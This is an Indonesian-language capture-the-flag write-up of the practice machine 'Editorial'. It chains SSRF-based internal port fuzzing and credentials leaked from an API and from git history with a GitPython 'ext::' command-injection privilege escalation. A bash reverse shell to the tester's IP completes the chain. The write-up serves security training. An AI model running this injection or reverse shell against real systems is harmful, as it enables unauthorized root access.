Editorial

Information Gathering

Port and Service

Nmap scan report for 10.10.11.20
Host is up (0.026s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 0d:ed:b2:9c:e2:53:fb:d4:c8:c1:19:6e:75:80:d8:64 (ECDSA)
|_  256 0f:b9:a7:51:0e:00:d5:7b:5b:7c:5f:bf:2b:ed:53:a0 (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://editorial.htb
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 32.29 seconds

Setup

┌──(kali㉿kali)-[~/ctf/linux/editorial]
└─$ curl -sIL 10.10.11.20
HTTP/1.1 301 Moved Permanently
Server: nginx/1.18.0 (Ubuntu)
Date: Mon, 28 Apr 2025 03:12:05 GMT
Content-Type: text/html
Content-Length: 178
Connection: keep-alive
Location: http://editorial.htb

HOST

10.10.11.20    editorial.htb

Initial Access

pada website dapat form "Publish with us", disini terdapat 2 form untuk set book cover, baik melalui url, atau file upload

SSRF - Dev

disini saya mencoba pada bagian bookurl apakah aplikasi tersebut melakukan request kepada url yang dikirimkan atau tidak

┌──(kali㉿kali)-[~/ctf/linux/editorial]
└─$ python3 -m http.server -b 10.10.14.17 80 
Serving HTTP on 10.10.14.17 port 80 (http://10.10.14.17:80/) ...

seperti yang dapat dilihat pada gambar diatas, aplikasi tersebut melakukan request ke url yang diinputkan. disini aplikasi tersebut menyimpan response body dari url tersebut

response body yang tersimpan

salah satu dampak dari SSRF adalah saya dapat melakukan pencarian port internal, khususnya terhadap internal webserver, disini saya akan menggunakan FFUF untuk melakukan fuzzing pada port

┌──(kali㉿kali)-[~/ctf/linux/editorial]
└─$ ffuf -u http://editorial.htb/upload-cover -request request.txt  -w <( seq 0 65535) -ac   
[--SNIP--]
5000                    [Status: 200, Size: 51, Words: 1, Lines: 1, Duration: 37ms]

disini saya menemukan webserver yang berjalan pada port 5000, selanjutnya saya memeriksa response body dari internal webserver tersebut

┌──(kali㉿kali)-[~/ctf/linux/editorial]
└─$ curl http://editorial.htb/static/uploads/00698fc4-1a71-4df4-a7d6-89d48fcb31cc | jq
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100   911  100   911    0     0  15811      0 --:--:-- --:--:-- --:--:-- 15982
{
  "messages": [
    {
      "promotions": {
        "description": "Retrieve a list of all the promotions in our library.",
        "endpoint": "/api/latest/metadata/messages/promos",
        "methods": "GET"
      }
    },
    {
      "coupons": {
        "description": "Retrieve the list of coupons to use in our library.",
        "endpoint": "/api/latest/metadata/messages/coupons",
        "methods": "GET"
      }
    },
    {
      "new_authors": {
        "description": "Retrieve the welcome message sended to our new authors.",
        "endpoint": "/api/latest/metadata/messages/authors",
        "methods": "GET"
      }
    },
    {
      "platform_use": {
        "description": "Retrieve examples of how to use the platform.",
        "endpoint": "/api/latest/metadata/messages/how_to_use_platform",
        "methods": "GET"
      }
    }
  ],
  "version": [
    {
      "changelog": {
        "description": "Retrieve a list of all the versions and updates of the api.",
        "endpoint": "/api/latest/metadata/changelog",
        "methods": "GET"
      }
    },
    {
      "latest": {
        "description": "Retrieve the last version of api.",
        "endpoint": "/api/latest/metadata",
        "methods": "GET"
      }
    }
  ]
}

internal webserver tersebut adalah sebuah API, disini terdapat beberapa endpoint yang tersedia. saya memeriksa response body dari setiap endpoint dan saya mendapatkan credential dari endpoint berikut

http://127.0.0.1:5000/api/latest/metadata/messages/authors

┌──(kali㉿kali)-[~/ctf/linux/editorial]
└─$ curl http://editorial.htb/static/uploads/d9f5690f-e13e-416a-9ff1-003ad2f1c76b | jq
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100   506  100   506    0     0   8397      0 --:--:-- --:--:-- --:--:--  8576
{
  "template_mail_message": "Welcome to the team! We are thrilled to have you on board and can't wait to see the incredible content you'll bring to the table.\n\nYour login credentials for our internal forum and authors site are:\nUsername: dev\nPassword: dev080217_devAPI!@\nPlease be sure to change your password as soon as possible for security purposes.\n\nDon't hesitate to reach out if you have any questions or ideas - we're always here to support you.\n\nBest regards, Editorial Tiempo Arriba Team."                                                                                                                               
}

dev:dev080217_devAPI!@

saya mendapatkan credential dev, saya mencoba untuk connect ke ssh dan berhasil masuk

┌──(kali㉿kali)-[~/ctf/linux/editorial]
└─$ ssh [email protected]   
The authenticity of host 'editorial.htb (10.10.11.20)' can't be established.
ED25519 key fingerprint is SHA256:YR+ibhVYSWNLe4xyiPA0g45F4p1pNAcQ7+xupfIR70Q.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'editorial.htb' (ED25519) to the list of known hosts.
[email protected]'s password: 
[-- SNIP --]
dev@editorial:~$

Move to Prod

pada home directory user dev terdapat directory apps yang dimana didalamnya terdapat .git, disini saya memeriksa log commit dengan menggunakan git log

dev@editorial:~$ cd apps/
dev@editorial:~/apps$ ls
dev@editorial:~/apps$ git log
commit 8ad0f3187e2bda88bba85074635ea942974587e8 (HEAD -> master)
Author: dev-carlos.valderrama <[email protected]>
Date:   Sun Apr 30 21:04:21 2023 -0500

    fix: bugfix in api port endpoint

commit dfef9f20e57d730b7d71967582035925d57ad883
Author: dev-carlos.valderrama <[email protected]>
Date:   Sun Apr 30 21:01:11 2023 -0500

    change: remove debug and update api port

commit b73481bb823d2dfb49c44f4c1e6a7e11912ed8ae
Author: dev-carlos.valderrama <[email protected]>
Date:   Sun Apr 30 20:55:08 2023 -0500

    change(api): downgrading prod to dev
    
    * To use development environment.

commit 1e84a036b2f33c59e2390730699a488c65643d28
Author: dev-carlos.valderrama <[email protected]>
Date:   Sun Apr 30 20:51:10 2023 -0500

    feat: create api to editorial info
    
    * It (will) contains internal info about the editorial, this enable
       faster access to information.

commit 3251ec9e8ffdd9b938e83e3b9fbf5fd1efa9bbb8
Author: dev-carlos.valderrama <[email protected]>
Date:   Sun Apr 30 20:48:43 2023 -0500

    feat: create editorial app
    
    * This contains the base of this project.
    * Also we add a feature to enable to external authors send us their
       books and validate a future post in our editorial.

selanjutnya saya memeriksa perubahan yang terjadi berdasarkan hash commit dengan perintah git diff. disini saya mendapatkan sebuah credential dari user prod

dev@editorial:~/apps$ git diff b73481bb823d2dfb49c44f4c1e6a7e11912ed8ae 1e84a036b2f33c59e2390730699a488c65643d28
diff --git a/app_api/app.py b/app_api/app.py
index 3373b14..61b786f 100644
--- a/app_api/app.py
+++ b/app_api/app.py
@@ -64,7 +64,7 @@ def index():
 @app.route(api_route + '/authors/message', methods=['GET'])
 def api_mail_new_authors():
     return jsonify({
-        'template_mail_message': "Welcome to the team! We are thrilled to have you on board and can't wait to see the incredible content you'll bring to the table.\n\nYour login credentials for our internal forum and authors site are:\nUsername: dev\nPassword: dev080217_devAPI!@\nPlease be sure to change your password as soon as possible for security purposes.\n\nDon't hesitate to reach out if you have any questions or ideas - we're always here to support you.\n\nBest regards, " + api_editorial_name + " Team."
+        'template_mail_message': "Welcome to the team! We are thrilled to have you on board and can't wait to see the incredible content you'll bring to the table.\n\nYour login credentials for our internal forum and authors site are:\nUsername: prod\nPassword: 080217_Producti0n_2023!@\nPlease be sure to change your password as soon as possible for security purposes.\n\nDon't hesitate to reach out if you have any questions or ideas - we're always here to support you.\n\nBest regards, " + api_editorial_name + " Team."
     }) # TODO: replace dev credentials when checks pass
 
 # -------------------------------
dev@editorial:~/apps$

saya memeriksa apakah prod meruapakan salah satu user atau bukan

dev@editorial:~/apps$ cat /etc/passwd | grep prod
prod:x:1000:1000:Alirio Acosta:/home/prod:/bin/bash

ternyata prod merupakan salah satu user dari server tersebut, disini saya mencoba untuk login sebagai prod dan berhasil

dev@editorial:~/apps$ su prod
Password: 
prod@editorial:/home/dev/apps$ 

Privilege Escalation to root

disini saya memeriksa daftar perintah yang dapat dijalankan oleh prod dengan menggunakan hak akses sudo

prod@editorial:/home/dev/apps$ sudo -l
Matching Defaults entries for prod on editorial:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User prod may run the following commands on editorial:
    (root) /usr/bin/python3 /opt/internal_apps/clone_changes/clone_prod_change.py *

user prod dapat menjalankan script clone_prod_change.py dengan sudo, berikut ini adalah script dari file tersebut

prod@editorial:~$ cat /opt/internal_apps/clone_changes/clone_prod_change.py
#!/usr/bin/python3

import os
import sys
from git import Repo

os.chdir('/opt/internal_apps/clone_changes')

url_to_clone = sys.argv[1]

r = Repo.init('', bare=True)
r.clone_from(url_to_clone, 'new_changes', multi_options=["-c protocol.ext.allow=always"])

script tersebut menggunakan module git, disini saya mencoba untuk memeriksa versi dari module git yang digunakan tersebut dengan cara berikut

prod@editorial:~$ python3
Python 3.10.12 (main, Nov 20 2023, 15:14:05) [GCC 11.4.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> import git
>>> git.__file__
'/usr/local/lib/python3.10/dist-packages/git/__init__.py'

less /usr/local/lib/python3.10/dist-packages/git/__init__.py

versi module git yang digunakan adalah 3.1.29 yang dimana memiliki kerentanan remote code execution

• https://security.snyk.io/vuln/SNYK-PYTHON-GITPYTHON-3113858

disini saya mencoba untuk memeriksa kerentanan tersebut dengan membuat sebuah file pwned pada folder /tmp

prod@editorial:~$ sudo /usr/bin/python3 /opt/internal_apps/clone_changes/clone_prod_change.py 'ext::sh -c touch% /tmp/pwned'
Traceback (most recent call last):
  File "/opt/internal_apps/clone_changes/clone_prod_change.py", line 12, in <module>
    r.clone_from(url_to_clone, 'new_changes', multi_options=["-c protocol.ext.allow=always"])
  File "/usr/local/lib/python3.10/dist-packages/git/repo/base.py", line 1275, in clone_from
    return cls._clone(git, url, to_path, GitCmdObjectDB, progress, multi_options, **kwargs)
  File "/usr/local/lib/python3.10/dist-packages/git/repo/base.py", line 1194, in _clone
    finalize_process(proc, stderr=stderr)
  File "/usr/local/lib/python3.10/dist-packages/git/util.py", line 419, in finalize_process
    proc.wait(**kwargs)
  File "/usr/local/lib/python3.10/dist-packages/git/cmd.py", line 559, in wait
    raise GitCommandError(remove_password_if_present(self.args), status, errstr)
git.exc.GitCommandError: Cmd('git') failed due to: exit code(128)
  cmdline: git clone -v -c protocol.ext.allow=always ext::sh -c touch% /tmp/pwned new_changes
  stderr: 'Cloning into 'new_changes'...
fatal: Could not read from remote repository.

Please make sure you have the correct access rights
and the repository exists.
'
prod@editorial:~$ 

prod@editorial:~$ ls -la /tmp
total 52
drwxrwxrwt 13 root root 4096 Apr 28 05:56 .
drwxr-xr-x 18 root root 4096 Jun  5  2024 ..
drwxrwxrwt  2 root root 4096 Apr 28 03:09 .font-unix
drwxrwxrwt  2 root root 4096 Apr 28 03:09 .ICE-unix
-rw-r--r--  1 root root    0 Apr 28 05:56 pwned
drwx------  3 root root 4096 Apr 28 03:09 systemd-private-27c113c0844f43aea9e49a69e6deb4c4-ModemManager.service-WP0qi4
drwx------  3 root root 4096 Apr 28 03:09 systemd-private-27c113c0844f43aea9e49a69e6deb4c4-systemd-logind.service-z89uGM
drwx------  3 root root 4096 Apr 28 03:09 systemd-private-27c113c0844f43aea9e49a69e6deb4c4-systemd-resolved.service-Z4tei0
drwx------  3 root root 4096 Apr 28 03:09 systemd-private-27c113c0844f43aea9e49a69e6deb4c4-systemd-timesyncd.service-LmHiLq
drwxrwxrwt  2 root root 4096 Apr 28 03:09 .Test-unix
drwx------  2 dev  dev  4096 Apr 28 05:09 tmux-1001
drwx------  2 root root 4096 Apr 28 03:09 vmware-root_782-2965579254
drwxrwxrwt  2 root root 4096 Apr 28 03:09 .X11-unix
drwxrwxrwt  2 root root 4096 Apr 28 03:09 .XIM-unix
prod@editorial:~$ 

file pwned telah berhasil dibuat pada folder /tmp dengan user root. selanjutnya saya akan membuat sebuah executable file untuk melakukan reverse shell

prod@editorial:~$ nano x
prod@editorial:~$ chmod +x x
prod@editorial:~$ cat x 
bash -c 'bash -i >& /dev/tcp/10.10.14.17/1337 0>&1'
prod@editorial:~$ 

kemudian saya menjalankan nc listener dan trigger dengan menjalankan perintah berikut

prod@editorial:~$ sudo /usr/bin/python3 /opt/internal_apps/clone_changes/clone_prod_change.py 'ext::/home/prod/x'

┌──(kali㉿kali)-[~/ctf/linux/editorial]
└─$ nc -lnvp 1337                                                                
listening on [any] 1337 ...
connect to [10.10.14.17] from (UNKNOWN) [10.10.11.20] 46136
root@editorial:/opt/internal_apps/clone_changes# id
id
uid=0(root) gid=0(root) groups=0(root)
root@editorial:/opt/internal_apps/clone_changes# 

disini saya berhasil mendapatkan root.